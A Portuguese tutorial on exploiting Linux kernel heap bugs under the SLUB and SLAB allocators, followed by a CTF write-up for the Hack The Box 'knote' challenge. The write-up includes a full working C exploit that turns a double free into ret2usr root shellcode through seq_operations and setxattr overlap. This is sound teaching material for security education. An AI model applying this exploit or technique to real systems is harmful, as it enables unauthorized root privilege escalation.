Introdução
Ao explorar bugs de corrupção de memória, mesmo que os tipos de bugs sejam quase sempre os mesmos (Use-after-free, Double-free, OOB, Overflow, etc), as técnicas que devem ser usadas para explorar o bug variam a depender de alguns fatores como a plataforma, a região de memória, o alocador, e muitos muitos outros. Nesse artigo vamos entender como explorar corrupções de memória nos alocadores utilizados nas principais builds do kernel linux, o SLUB e o SLAB, para alcançar primitivas de leitura e escrita na memória e algumas técnicas para usar essa primitivas para escalar o nosso privilégio no sistema com algumas proteções comuns. Note que para entender exploração de heap no kernel linux é ideal já estar familiar com assuntos de heap e de kernel, separadamente.
SLUB
O SLUB, é um alocador de memória, ou seja, quando o kernel chama a função kmalloc(), o SLUB é o responsável por alocar um objeto na memória com o tamanho solicitado e retornar um ponteiro para esse objeto e também por adicionar o objeto em algum cache para reuso quando o kernel chama a função kfree(). É importante destacar que existem outros alocadores como o SLAB.
O alocador SLUB divide os objetos em diferentes regiões chamadas slabs, de acordo com o tamanho dos objetos. As slabs existentes dependem de como o kernel foi compilado mas normalmente a menor slab é a kmalloc-16, onde ficam armazenados os objetos com tamanho maior ou igual a 16 bytes, seguido pelo kmalloc-32, para os objetos com tamanho maior ou igual a 32 bytes, kmalloc-64, kmalloc-96, kmalloc-128... (normalmente alinhado a múltiplos de 32). Ou seja, todos os objetos de mesmo tamanho são alocados próximos uns aos outros. Portanto, é IMPOSSÍVEL, por exemplo, um objeto de 64 bytes ser adjacente a um objeto de 32 bytes (em breve vamos falar das implicações dessa observação na exploração).
É importante também observar que o cache do SLUB consiste em freelists para cada slab. Essas freelists são linked-lists simples em que cada objeto da lista possui um ponteiro na primeira qword que aponta para o próximo objeto da lista. As freelists normalmente possuem um comportamento LIFO (Last in First Out), que significa que os objetos que foram liberados por último serão os primeiros a serem realocados.
SLAB
O SLAB é similar ao SLUB em quase todos os aspectos exceto pelo fato de que os objetos livres que estão nas freelists não possuem um ponteiro na primeira qword que aponte para o próximo objeto livre. Objetos no cache do SLAB não armazenam NENHUM tipo de metadado, tornando algumas das técnicas utilizadas no SLUB inviáveis.
Corrompendo objetos
É importante perceber no caso do SLUB que os ponteiros dos objetos livres são alvos fáceis uma vez que um objeto foi corrompido, permitindo que o próximo objeto do tamanho corrompido seja alocado em uma localização arbitrária ao fazer com que o kmalloc retorne um ponteiro arbitrário.
Entretanto, lembre-se que o SLAB não possui estes ponteiros para que sejam corrompidos, ou seja, envenenar o cache não é possível se o alocador SLAB for utilizado, portanto, alcançar escrita e leitura arbitrárias não é tão simples quanto no SLUB.
Para isso é preciso entender que todos os objetos de todos os subsistemas do linux usam o mesmo heap e os mesmos caches. Suponha uma corrupção de memória que permita sobrescrever objetos que estão inicialmente livres, seja um OOB, um buffer overflow, um use-after-free ou qualquer outra. Essa corrupção permitiria sobrescrever o objeto não somente enquanto ele está livre, mas também permitiria sobrescrevê-lo depois que já foi realocado, ou seja, é possível sobrescrever um objeto que armazene alguma estrutura importante que seja utilizada por outro subsistema.
Com esse conceito em mente, imagine um subsistema sem vulnerabilidades com 4 syscalls que podem ser invocadas pela userland,
- syscall(SYS_init_obj, size_t sz); retorna um ponteiro para o objeto
- syscall(SYS_write_obj, void *in, size_t sz); escreve no objeto
- syscall(SYS_read_obj, void *out, size_t sz); copia os bytes do objeto para a userland
- syscall(SYS_del_obj); libera o objeto e destrói a referência
Suponha também que o subsistema possui uma estrutura para esse objeto que fica no heap que tem os seguintes campos:
void *data
size_t sz
Esta estrutura fica no heap, e por possuir 2 campos de 8 bytes cada, fica na slab kmalloc-16.
Agora suponha que haja uma corrupção em outro subsistema e que seja um Use-after-free, por exemplo. Ou seja, existe um objeto livre que ainda pode ser acessado, neste caso, suponha acesso de escrita. Um caminho para abusar isso seria criar a condição de Use-after-free, ou seja, alocar o objeto vulnerável, e deletá-lo em seguida. E então chamar a syscall SYS_init_obj com o mesmo tamanho do objeto do vulnerável, assim, o comportamento LIFO do SLAB fará com que essa alocação utilize o último objeto que foi livre, ou seja, o objeto vulnerável. Com isso acabamos de criar uma interface de escrita e leitura arbitrárias.
Assim, podemos usar o subsistema vulnerável para editar para onde o ponteiro data aponta e qual é o valor do tamanho sz e em seguida usar o subsistema alvo para ler e escrever utilizando os valores corrompidos. Numa situação real é possível que a corrupção de memória esteja restrita a um slab específico, portanto, é importante selecionar objetos alvo de acordo com o objetivo e o slab. Aqui está um compilado de alguns desses objetos.
Algumas proteções
O foco desse artigo é introduzir especificamente as técnicas relacionadas ao heap do kernel linux, tocando o mínimo possível em assuntos generalistas do kernel e de heap, separadamente. Portanto somente algumas proteções serão brevemente mencionadas.
O kernel linux pode ser (e normalmente é) executado com algumas proteções que devem ser consideradas se presentes no ambiente, como:
kASLR
A versão kernel-mode do ASLR. Randomiza a base onde as regiões de memória do kernel são inicializadas, tornando a exploração muito difícil (e às vezes impossível) sem um vazamento que permita ler um ponteiro do kernel.
SMEP
Restringe a execução de memória em páginas da userland. Ou seja, se o PC em kernel-mode apontar para uma página alocada para a userland, isso causará uma exceção e um kernel panic.
SMAP
É uma extensão do SMEP, porém, não somente restringe a execução de páginas da userland mas também restringe o acesso direto de memória alocada para a userland. Ou seja, o acesso de leitura ou escrita em kernel-mode a uma página da userland causará uma exceção e um kernel panic. A única forma de acessar memória da userland com o SMAP habilitado é por meio da interface usercopy, que disponibiliza as funções copy_from_user e copy_to_user.
Exemplificando com desafios de CTF
Um desafio de nível introdutório é o knote do Hackthebox. Os arquivos do desafio estão todos no meu github.
Vamos resolver o desafio com os conceitos que foram discutidos, começando com uma breve análise do módulo.
Análise do módulo vulnerável
[...] static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { mutex_lock(&knote_ioctl_lock); struct knote_user ku; if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user))) return -EFAULT; switch(cmd) { case KNOTE_CREATE: if(ku.len > 0x20 || ku.idx >= 10) return -EINVAL; char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); if(data == NULL || knotes[ku.idx] == NULL) { mutex_unlock(&knote_ioctl_lock); return -ENOMEM; } knotes[ku.idx]->data = data; knotes[ku.idx]->len = ku.len; if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) { kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); mutex_unlock(&knote_ioctl_lock); return -EFAULT; } knotes[ku.idx]->encrypt_func = knote_encrypt; knotes[ku.idx]->decrypt_func = knote_decrypt; break; case KNOTE_DELETE: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); knotes[ku.idx] = NULL; break; case KNOTE_READ: if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) { mutex_unlock(&knote_ioctl_lock); return -EFAULT; } break; case KNOTE_ENCRYPT: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len); break; case KNOTE_DECRYPT: if(ku.idx >= 10 || !knotes[ku.idx]) { mutex_unlock(&knote_ioctl_lock); return -EINVAL; } knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len); break; default: mutex_unlock(&knote_ioctl_lock); return -EINVAL; } mutex_unlock(&knote_ioctl_lock); return 0; } [...]
O módulo funciona de forma relativamente simples, há somente uma função acessível para a userland por meio de uma chamada ioctl que permite executar 5 comandos: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT e KNOTE_DECRYPT.
O comando KNOTE_CREATE e KNOTE_DELETE podem ser usados para criar um bug de double free:
[...] char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); [...] if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) { kfree(knotes[ku.idx]->data); kfree(knotes[ku.idx]); [...]
Explorando um double-free
ku.data é um ponteiro controlado pela userland que aponta para os dados que devem ser copiados para o buffer knotes[ku.idx]->data (buffer alocado com o kmalloc) com a função copy_from_user. Caso a chamada para a função copy_from_user retorne um valor não nulo, ou seja, um erro, então a estrutura com o ponteiro e tamanho do buffer e o buffer em si, são liberados com o kfree sem anular o ponteiro para a estrutura no array knotes nem anular o ponteiro contido na estrutura que aponta para o buffer, ou seja, as referências todas são preservadas mesmo após os objetos já terem sido liberados e adicionados aos seus respectivos caches. Em muitas situações esse bug seria um use-after-free, mas este módulo não implementa forma nenhuma de editar o buffer depois que já foi criado, portanto, não é possível escrever diretamente no objeto. Entretanto, uma vez que a referência do objeto recém-liberado ainda existe, é possível usar o comando KNOTE_DELETE para liberar o objeto novamente, fazendo com que duas entradas do cache apontem para a mesma memória, o que fará com que as próximas duas alocações para essa slab se sobreponham.
Corrompendo estruturas
Ok, nós já podemos sobrepor objetos, mas ainda é preciso decidir quais objetos sobrepor da vasta gama de opções que o kernel Linux oferece. Para isso, podemos nos apoiar no compilado de estruturas documentadas que podem ser usadas para apoiar a exploração. O nosso objetivo deve ser sobrescrever um objeto que tenhamos pleno acesso de escrita com um outro que carregue estruturas críticas (como ponteiros de função ou ponteiros usados para leitura e/ou escrita). No caso desse desafio, as proteções SMAP e SMEP estão desabilitadas, por tanto, é possível executar memória da userland. Já que podemos executar memória da userland, podemos utilizar uma técnica chamada ret2usr, que consiste em alocar um shellcode em memória da userland e então apontar o PC em kernel-mode para esse endereço. Para essa tarefa, eu escolhi o objeto alocado pela função setxattr já que os dados e o tamanho desse buffer podem ser controlados pela userland no momento da alocação e como objeto alvo eu escolhi a estrutura seq_operations, já que essa estrutura armazena ponteiros de função.sexattr:
setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; if (flags & ~(XATTR_CREATE|XATTR_REPLACE)) return -EINVAL; error = strncpy_from_user(kname, name, sizeof(kname)); if (error == 0 || error == sizeof(kname)) error = -ERANGE; if (error < 0) return error; if (size) { if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN); if (!kvalue) { kvalue = vmalloc(size); if (!kvalue) return -ENOMEM; } if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; }
seq_operations:
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
- A estrutura seq_operations pode ser alocada ao abrir o arquivo /proc/self/stat da seguinte forma: open("/proc/self/stat",O_RDONLY);.
- O objeto elástico e controlável alocado pela setxattr pode ser alocado da seguinte forma: setxattr("/path/qualquer","nome_qualquer", &buffer, tamanho, 0);
- Uma vez que o objeto seq_operations foi alocado, o ponteiro start, na primeira qword da estrutura, pode ser dereferenciado e executado quando quisermos ao chamar read(target, buffer_qualquer, 1); sendo target o file descriptor retornado pelo open ao abrir o /proc/self/stat.
Escalar privilégios
Este artigo tem o objetivo de descrever com detalhe as técnicas de manipulação do heap no kernel linux, sendo assim, passaremos muito brevemente pela escrita do shellcode para que o foco original seja mantido, mas para os que não entendem do assunto e gostariam de entender mais, eu recomendo a série de nível introdutório de kernel exploitation do lkmidas.
Por último, precisamos escrever um shellcode que possa nos colocar em uma shell de root. Uma forma de fazer isso é utilizando um shellcode que execute algo como commit_creds(prepare_kernel_cred(0)) que criará um instância da estrutura cred com os ids setados para 0, ou seja, uma credencial de root, e então tornará essa a nova cred do processo atual.
Se o kASLR estivesse habilitado (que não é o caso) nós precisaríamos de um vazamento de um ponteiro do kernel para calcular os endereços das funções commit_creds e prepare_kernel_cred. Também devemos escrever um segundo shellcode que será executado pelo nosso programa em user-mode antes de começar o exploit para salvar os registradores que serão restaurados quando o shellcode executado pelo PC em kernel-mode trocar o contexto de volta para user-mode e por fim abrir uma shell.
[...] void bak(){ __asm__( ".intel_syntax noprefix;" "mov bak_cs, cs;" "mov bak_ss, ss;" "mov bak_rsp, rsp;" "pushf;" "pop bak_rflags;" ".att_syntax;" ); puts("[+]Registers backed up"); } [...] void shellcode(){ __asm__( ".intel_syntax noprefix;" "mov rdi, 0;" "movabs rbx, 0xffffffff81053c50;" "call rbx;" "mov rdi, rax;" "movabs rbx, 0xffffffff81053a30;" "call rbx;" "swapgs;" "mov r15, bak_ss;" "push r15;" "mov r15, bak_rsp;" "push r15;" "mov r15, bak_rflags;" "push r15;" "mov r15, bak_cs;" "push r15;" "mov r15, bak_rip;" "push r15;" "iretq;" ".att_syntax;" ); [...]
Exploit final
Recapitulando brevemente, nossa técnica consistiu em:
- Criar a condição de double free;
- Alocar um objeto seq_operations que contém ponteiros de função;
- Alocar um objeto setxattr para sobrepôr o objeto seq_operations e sobrescrever um ponteiro de função com um ponteiro para o nosso shellcode na userland;
- Fazer com que o ponteiro de função corrompido seja chamado, que resultará na execução do nosso shellcode;
O meu código para a solução do desafio ficou assim:
#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/xattr.h> #define KNOTE_CREATE 0x1337 #define KNOTE_DELETE 0x1338 #define KNOTE_READ 0x1339 #define KNOTE_ENCRYPT 0x133a #define KNOTE_DECRYPT 0x133b int dev, target; /* Module structs */ typedef struct { char *data; size_t len; void (*encrypt_func)(char *, size_t); void (*decrypt_func)(char *, size_t); } knote; typedef struct { unsigned long idx; char * data; size_t len; } knote_user; /* Backup registers */ unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip; void bak(){ __asm__( ".intel_syntax noprefix;" "mov bak_cs, cs;" "mov bak_ss, ss;" "mov bak_rsp, rsp;" "pushf;" "pop bak_rflags;" ".att_syntax;" ); puts("[+]Registers backed up"); } /* Helper functions */ void debug(){ puts("[+]Halted execution"); getchar(); } void open_dev(){ dev = open("/dev/knote",O_RDONLY); puts("[+]Interacting with device"); } void do_create(unsigned long idx, char *data, size_t len){ knote_user note = { .idx = idx, .data = data, .len = len }; ioctl(dev,KNOTE_CREATE,¬e); } void do_delete(unsigned long idx){ knote_user note = { .idx = idx }; ioctl(dev,KNOTE_DELETE,¬e); } void bin_sh(){ printf("[+]UID: %d\n",getuid()); close(target); system("/bin/sh"); } unsigned long bak_rip = (unsigned long)bin_sh; void shellcode(){ __asm__( ".intel_syntax noprefix;" "mov rdi, 0;" "movabs rbx, 0xffffffff81053c50;" "call rbx;" "mov rdi, rax;" "movabs rbx, 0xffffffff81053a30;" "call rbx;" "swapgs;" "mov r15, bak_ss;" "push r15;" "mov r15, bak_rsp;" "push r15;" "mov r15, bak_rflags;" "push r15;" "mov r15, bak_cs;" "push r15;" "mov r15, bak_rip;" "push r15;" "iretq;" ".att_syntax;" ); } /* Exploit */ int main(){ char payload[0x20]; void *func_ptr = &shellcode; bak(); open_dev(); /* Double free */ do_create(0, (char *)0x1337000, 0x20); do_delete(0); /* Allocate seq_operations */ target = open("/proc/self/stat", O_RDONLY); /* Consume free entry */ open("/proc/self/stat", O_RDONLY); /* Overlap w/ setxattr */ setxattr("/proc/self/stat","exploit", &func_ptr, 0x20, 0); read(target, payload, 1); return 0; }
Considerações finais
O heap do kernel linux é bastante complexo e várias técnicas não foram cobertas, diferentes bugs são explorados de diferentes formas em diferentes alocadores com diferentes configurações, logo, escrever um exploit exige compreender e ler a implementação do alocador (qual é a rotina para alocar e remover objetos? Como funciona o gerenciamento dos caches?), entender a capacidade total de cada bug (o que dá para fazer com essa vuln?) e entender o objetivo do exploit (que valor na memória eu posso querer corromper?). Esses conhecimentos e questionamentos podem servir de guia para escolher estruturas para corromper, técnicas, objetos usados para moldar a memória, etc.
Referências
- https://docs.google.com/viewerng/viewer?url=http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf
- https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#任意データ書き込みHeap-Sprayに使える構造体
- https://0xten.gitbook.io/public/hackthebox/retired-challenges
- https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/